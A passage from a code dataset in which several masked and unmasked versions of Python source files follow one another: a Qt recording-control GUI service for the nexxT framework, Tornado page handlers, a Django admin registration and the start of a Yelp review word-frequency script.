self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText('inactive')\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText('(disabled)')\n <mask token>\n <mask token>\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n\n def _saveState(self):\n \"\"\"\n Saves the state of the playback control\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n try:\n propertyCollection.setProperty('RecordingControl_directory',\n self._directory)\n except PropertyCollectionPropertyNotFound:\n pass\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug('before restore dir=%s', self._directory)\n d = propertyCollection.getProperty('RecordingControl_directory')\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug('after restore dir=%s', self._directory)\n", "step-4": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n \"\"\"\n This service implements a GUI frontend for the recording service\n \"\"\"\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText('inactive')\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText('(disabled)')\n\n def _onUpdateStatus(self, _, file, length, bytesWritten):\n lines = self._statusLabel.text().split('\\n')\n if length < 0:\n length = None\n if bytesWritten < 0:\n bytesWritten = None\n updated = False\n if bytesWritten is None:\n bw = '??'\n elif bytesWritten < 1024:\n bw = f'{bytesWritten:3d} bytes'\n elif bytesWritten < 1024 * 1024:\n bw = f'{bytesWritten / 1024:.1f} kb'\n elif bytesWritten < 1024 * 1024 * 1024:\n bw = f'{bytesWritten / 1024 / 1024:.1f} Mb'\n else:\n bw = f'{bytesWritten / 1024 / 1024 / 1024:.1f} Gb'\n if length is None:\n sl = '?? s'\n elif length < 60:\n sl = f'{length:.1f} sec'\n else:\n sl = f'{length / 60:.1f} min'\n bytesAv = QStorageInfo(file).bytesAvailable()\n if (length is not None and bytesWritten is not None and bytesAv >= \n 0 and bytesWritten > 0):\n timeAv = length * bytesAv / bytesWritten - length\n if timeAv < 60:\n av = f'{timeAv:.1f} sec'\n elif timeAv < 3600:\n av = f'{timeAv / 60:.1f} min'\n else:\n av = '> 1 hour'\n else:\n av = '?? s'\n if length is not None or bytesWritten is not None:\n newl = Path(file).name + ': ' + sl + ' | ' + bw + ' R: ' + av\n else:\n newl = None\n if newl is not None:\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + ':'):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == 'inactive':\n lines = lines[1:]\n else:\n toDel = None\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + ':'):\n toDel = i\n break\n if toDel is not None:\n lines = lines[:toDel] + lines[toDel + 1:]\n if len(lines) == 0:\n lines.append('inactive')\n self._statusLabel.setText('\\n'.join(lines))\n\n def _onNotifyError(self, originFilter, errorDesc):\n lines = self._statusLabel.text().split('\\n')\n newl = originFilter.objectName() + ': ' + 'ERROR: ' + errorDesc\n updated = False\n for i, l in enumerate(lines):\n if l.startswith(originFilter.objectName() + ':'):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == 'inactive':\n lines = lines[1:]\n self._statusLabel.setText('\\n'.join(lines))\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n\n def _saveState(self):\n \"\"\"\n Saves the state of the playback control\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n try:\n propertyCollection.setProperty('RecordingControl_directory',\n self._directory)\n except PropertyCollectionPropertyNotFound:\n pass\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug('before restore dir=%s', self._directory)\n d = propertyCollection.getProperty('RecordingControl_directory')\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug('after restore dir=%s', self._directory)\n", "step-5": "# SPDX-License-Identifier: Apache-2.0\n# Copyright (C) 2020 ifm electronic gmbh\n#\n# THE PROGRAM IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND.\n#\n\n\"\"\"\nThis module provides the recording control GUI service for the nexxT framework.\n\"\"\"\n\nimport logging\nfrom pathlib import Path\nfrom nexxT.Qt.QtCore import Qt, QStorageInfo\nfrom nexxT.Qt.QtGui import QAction, QIcon, QTextOption\nfrom nexxT.Qt.QtWidgets import QApplication, QStyle, QWidget, QBoxLayout, QToolBar, QFileDialog\nfrom nexxT.core.Utils import assertMainThread, ElidedLabel\nfrom nexxT.core.Exceptions import PropertyCollectionPropertyNotFound\nfrom nexxT.interface import Services\nfrom nexxT.services.SrvRecordingControl import MVCRecordingControlBase\n\nlogger = logging.getLogger(__name__)\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n \"\"\"\n This service implements a GUI frontend for the recording service\n \"\"\"\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n\n # state\n self._directory = str(Path('.').absolute())\n\n # gui\n srv = Services.getService(\"MainWindow\")\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu(\"&Recording\")\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme(\"media-record\", QIcon(\":icons/media-record.svg\")),\n \"Start Recording\", self)\n self.actStop = QAction(QIcon.fromTheme(\"media-playback-stop\", style.standardIcon(QStyle.SP_MediaStop)),\n \"Stop Recording\", self)\n self.actSetDir = QAction(QIcon.fromTheme(\"document-open-folder\", style.standardIcon(QStyle.SP_DirIcon)),\n \"Choose directory ...\", self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n\n self.dockWidget = srv.newDockWidget(\"RecordingControl\", None, Qt.LeftDockWidgetArea,\n defaultLoc=\"PlaybackControl\")\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents)\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n\n self._directoryLabel = ElidedLabel(self._directory, parent=self.dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n\n self._statusLabel = ElidedLabel(\"(disabled)\", parent=self.dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n #toolLayout.addStretch(100)\n\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption=\"Select recording target directory\",\n dir=self._directory)\n if tdir != \"\" and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText(\"inactive\")\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText(\"(disabled)\")\n\n def _onUpdateStatus(self, _, file, length, bytesWritten):\n lines = self._statusLabel.text().split(\"\\n\")\n if length < 0:\n length = None\n if bytesWritten < 0:\n bytesWritten = None\n updated = False\n\n if bytesWritten is None:\n bw = \"??\"\n elif bytesWritten < 1024:\n bw = f\"{bytesWritten:3d} bytes\"\n elif bytesWritten < 1024*1024:\n bw = f\"{bytesWritten/1024:.1f} kb\"\n elif bytesWritten < 1024*1024*1024:\n bw = f\"{bytesWritten/1024/1024:.1f} Mb\"\n else:\n bw = f\"{bytesWritten/1024/1024/1024:.1f} Gb\"\n\n if length is None:\n sl = \"?? s\"\n elif length < 60:\n sl = f\"{length:.1f} sec\"\n else:\n sl = f\"{length/60:.1f} min\"\n\n bytesAv = QStorageInfo(file).bytesAvailable()\n if length is not None and bytesWritten is not None and bytesAv >= 0 and bytesWritten > 0:\n timeAv = length*bytesAv/bytesWritten - length\n if timeAv < 60:\n av = f\"{timeAv:.1f} sec\"\n elif timeAv < 3600:\n av = f\"{timeAv/60:.1f} min\"\n else:\n av = \"> 1 hour\"\n else:\n av = \"?? s\"\n\n if length is not None or bytesWritten is not None:\n newl = Path(file).name + \": \" + sl + \" | \" + bw + \" R: \" + av\n else:\n newl = None\n\n if newl is not None:\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + \":\"):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == \"inactive\":\n lines = lines[1:]\n else:\n toDel = None\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + \":\"):\n toDel = i\n break\n if toDel is not None:\n lines = lines[:toDel] + lines[toDel+1:]\n if len(lines) == 0:\n lines.append(\"inactive\")\n\n self._statusLabel.setText(\"\\n\".join(lines))\n\n def _onNotifyError(self, originFilter, errorDesc):\n lines = self._statusLabel.text().split(\"\\n\")\n newl = originFilter.objectName() + \": \" + \"ERROR: \" + errorDesc\n updated = False\n for i, l in enumerate(lines):\n if l.startswith(originFilter.objectName() + \":\"):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == \"inactive\":\n lines = lines[1:]\n self._statusLabel.setText(\"\\n\".join(lines))\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty(\"RecordingControl_directory\",\n str(Path('.').absolute()),\n \"Target directory for recordings\")\n\n\n def _saveState(self):\n \"\"\"\n Saves the state of the playback control\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n try:\n propertyCollection.setProperty(\"RecordingControl_directory\", self._directory)\n except PropertyCollectionPropertyNotFound:\n pass\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug(\"before restore dir=%s\", self._directory)\n d = propertyCollection.getProperty(\"RecordingControl_directory\")\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug(\"after restore dir=%s\", self._directory)\n", "step-ids": [ 6, 8, 9, 12, 15 ] }
[ 6, 8, 9, 12, 15 ]
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'Eric Pascual' from tornado.web import RequestHandler import os class UIHandler(RequestHandler): def get_template_args(self): return { 'app_title':"Capteurs de lumière et de couleur" } def get(self, *args, **kwargs): """ By default, the get method displays the "Not yet implemented message". """ self.render( os.path.join(self.application.template_home, "nyi.html"), **self.get_template_args() ) class UIHome(UIHandler): def get(self, *args, **kwargs): self.render( os.path.join(self.application.template_home, "home.html"), **self.get_template_args() ) class UIHBarrier(UIHandler): def get(self, *args, **kwargs): template_args = self.get_template_args() template_args['demo_title'] = "Barrière optique" self.render( os.path.join(self.application.template_home, "barrier.html"), **template_args ) class UIWBDetector(UIHandler): def get(self, *args, **kwargs): template_args = self.get_template_args() template_args['demo_title'] = "Détecteur noir/blanc" self.render( os.path.join(self.application.template_home, "bwdetector.html"), **template_args ) class UIColorDetector(UIHandler): def get(self, *args, **kwargs): template_args = self.get_template_args() template_args['demo_title'] = "Détecteur couleur" self.render( os.path.join(self.application.template_home, "colordetector.html"), **template_args ) class UICalibration(UIHandler): def get(self, *args, **kwargs): template_args = self.get_template_args() template_args["calibration_cfg"] = self.application.controller.get_calibration_cfg_as_dict() self.render( os.path.join(self.application.template_home, "calibration.html"), **template_args )
normal
{ "blob_id": "b13d4b0ccb693fb97befb4ee47974d8ee076b52b", "index": 5177, "step-1": "<mask token>\n\n\nclass UIHBarrier(UIHandler):\n <mask token>\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n", "step-2": "<mask token>\n\n\nclass UIHandler(RequestHandler):\n <mask token>\n <mask token>\n\n\nclass UIHome(UIHandler):\n\n def get(self, *args, **kwargs):\n self.render(os.path.join(self.application.template_home,\n 'home.html'), **self.get_template_args())\n\n\nclass UIHBarrier(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Barrière optique'\n self.render(os.path.join(self.application.template_home,\n 'barrier.html'), **template_args)\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n", "step-3": "__author__ = 'Eric Pascual'\n<mask token>\n\n\nclass UIHandler(RequestHandler):\n\n def get_template_args(self):\n return {'app_title': 'Capteurs de lumière et de couleur'}\n\n def get(self, *args, **kwargs):\n \"\"\" By default, the get method displays the \"Not yet implemented message\".\n \"\"\"\n self.render(os.path.join(self.application.template_home, 'nyi.html'\n ), **self.get_template_args())\n\n\nclass UIHome(UIHandler):\n\n def get(self, *args, **kwargs):\n self.render(os.path.join(self.application.template_home,\n 'home.html'), **self.get_template_args())\n\n\nclass UIHBarrier(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Barrière optique'\n self.render(os.path.join(self.application.template_home,\n 'barrier.html'), **template_args)\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n", "step-4": "__author__ = 'Eric Pascual'\nfrom tornado.web import RequestHandler\nimport os\n\n\nclass UIHandler(RequestHandler):\n\n def get_template_args(self):\n return {'app_title': 'Capteurs de lumière et de couleur'}\n\n def get(self, *args, **kwargs):\n \"\"\" By default, the get method displays the \"Not yet implemented message\".\n \"\"\"\n self.render(os.path.join(self.application.template_home, 'nyi.html'\n ), **self.get_template_args())\n\n\nclass UIHome(UIHandler):\n\n def get(self, *args, **kwargs):\n self.render(os.path.join(self.application.template_home,\n 'home.html'), **self.get_template_args())\n\n\nclass UIHBarrier(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Barrière optique'\n self.render(os.path.join(self.application.template_home,\n 'barrier.html'), **template_args)\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n", "step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'Eric Pascual'\n\nfrom tornado.web import RequestHandler\nimport os\n\nclass UIHandler(RequestHandler):\n def get_template_args(self):\n return {\n 'app_title':\"Capteurs de lumière et de couleur\"\n }\n\n def get(self, *args, **kwargs):\n \"\"\" By default, the get method displays the \"Not yet implemented message\".\n \"\"\"\n self.render(\n os.path.join(self.application.template_home, \"nyi.html\"),\n **self.get_template_args()\n )\n\n\nclass UIHome(UIHandler):\n def get(self, *args, **kwargs):\n self.render(\n os.path.join(self.application.template_home, \"home.html\"),\n **self.get_template_args()\n )\n\n\nclass UIHBarrier(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = \"Barrière optique\"\n\n self.render(\n os.path.join(self.application.template_home, \"barrier.html\"),\n **template_args\n )\n\n\nclass UIWBDetector(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = \"Détecteur noir/blanc\"\n\n self.render(\n os.path.join(self.application.template_home, \"bwdetector.html\"),\n **template_args\n )\n\n\nclass UIColorDetector(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = \"Détecteur couleur\"\n\n self.render(\n os.path.join(self.application.template_home, \"colordetector.html\"),\n **template_args\n )\n\n\nclass UICalibration(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args[\"calibration_cfg\"] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(\n os.path.join(self.application.template_home, \"calibration.html\"),\n **template_args\n )\n\n\n", "step-ids": [ 7, 11, 14, 15, 16 ] }
[ 7, 11, 14, 15, 16 ]
#!/usr/bin/env python from django.contrib import admin from models import UserProfile, AuditTrail class UserProfileAdmin(admin.ModelAdmin): list_display = [i.name for i in UserProfile._meta.fields] admin.site.register(UserProfile, UserProfileAdmin) class AuditTrailUserAdmin(admin.ModelAdmin): list_display = ('id', 'date', 'user', 'level', 'message') list_filter = ('level', 'date', 'user__username') readonly_fields = [i.name for i in AuditTrail._meta.fields] search_fields = (u'user__username', u'message',) admin.site.register(AuditTrail, AuditTrailUserAdmin)
normal
{ "blob_id": "477d1629c14609db22ddd9fc57cb644508f4f490", "index": 8905, "step-1": "<mask token>\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n <mask token>\n\n\n<mask token>\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\n\n\n<mask token>\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\n\n\nadmin.site.register(UserProfile, UserProfileAdmin)\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\nadmin.site.register(AuditTrail, AuditTrailUserAdmin)\n", "step-4": "from django.contrib import admin\nfrom models import UserProfile, AuditTrail\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\n\n\nadmin.site.register(UserProfile, UserProfileAdmin)\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\nadmin.site.register(AuditTrail, AuditTrailUserAdmin)\n", "step-5": "#!/usr/bin/env python\n\nfrom django.contrib import admin\nfrom models import UserProfile, AuditTrail\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\nadmin.site.register(UserProfile, UserProfileAdmin)\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = ('id', 'date', 'user', 'level', 'message')\n list_filter = ('level', 'date', 'user__username')\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = (u'user__username', u'message',)\nadmin.site.register(AuditTrail, AuditTrailUserAdmin)\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> with open('yelp_review.csv', encoding='utf8') as csvfile: wordFrequencies = defaultdict(int) def beautifyDate(res): dt = time.strptime(res, '%Y-%m-%d') return calendar.timegm(dt) def getAsciiFriendlyString(text, wordFrequencies): """ Things to note about the code: this code include punctuation and immediately adds non ASCII friendly into the <unk> pile """ strings = text.lower() strings = strings.split(' ') for wrd in strings: try: wrd = re.sub(pattern, '', wrd) wrd.encode('ascii') wordFrequencies[wrd] += 1 except UnicodeEncodeError: wordFrequencies['<unk>'] += 1 toyTrain = open('100k_numDate_train.csv', 'w') toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting= csv.QUOTE_MINIMAL, lineterminator='\n') print('Creating List....') readCSV = list(csv.reader(csvfile, delimiter=',')) print('Finished creating list....') print('Number of examples:', len(readCSV)) excludeSet = {REVIEW_ID_COL} fieldNames = readCSV[0] print(fieldNames) readForOneHot = readCSV[1:] print('Going through the words for the frequencies.') for row in readForOneHot: getAsciiFriendlyString(row[TEXT_COL], wordFrequencies) print(len(readForOneHot)) print('creating file with word frequencies') wrdFrq = open('yelp_word_frequencies.csv', 'w') wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting =csv.QUOTE_MINIMAL) wrdFrqWriter.writerow(['word', 'frequency']) for wrd in wordFrequencies: wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]]) <|reserved_special_token_1|> <|reserved_special_token_0|> REVIEW_ID_COL = 0 USER_ID_COL = 1 BUSINESS_ID_COL = 2 STARS_COL = 3 DATE_COL = 4 TEXT_COL = 5 